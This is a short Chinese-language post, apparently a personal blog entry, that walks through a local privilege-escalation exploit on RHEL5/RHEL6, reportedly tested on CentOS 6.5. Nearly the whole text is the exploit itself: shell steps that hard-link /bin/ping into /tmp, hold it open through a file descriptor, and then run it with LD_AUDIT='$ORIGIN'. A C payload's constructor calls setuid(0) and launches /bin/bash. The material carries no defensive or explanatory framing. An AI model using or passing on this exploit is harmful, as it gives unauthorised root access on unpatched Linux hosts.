利用linux漏洞進行提權

RHEL5—RHEL6下均可以提權

本人測試環境CenOS6.5:該方法只能用做與有root用戶切換到普通用戶的環境，若是是普通用戶直接登陸在執行最後一步的時候直接退出登陸

$ mkdir /tmp/exploit

$ ln /bin/ping /tmp/exploit/target

$ exec 3< /tmp/exploit/target

$ ll /proc/$$/fd/3

$ rm -rf /tmp/exploit/

$ ll /proc/$$/fd/3

$ vim payload.c

void __attribute__((constructor)) init()

{

    setuid(0);

    system("/bin/bash");

}

編譯payload.c

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3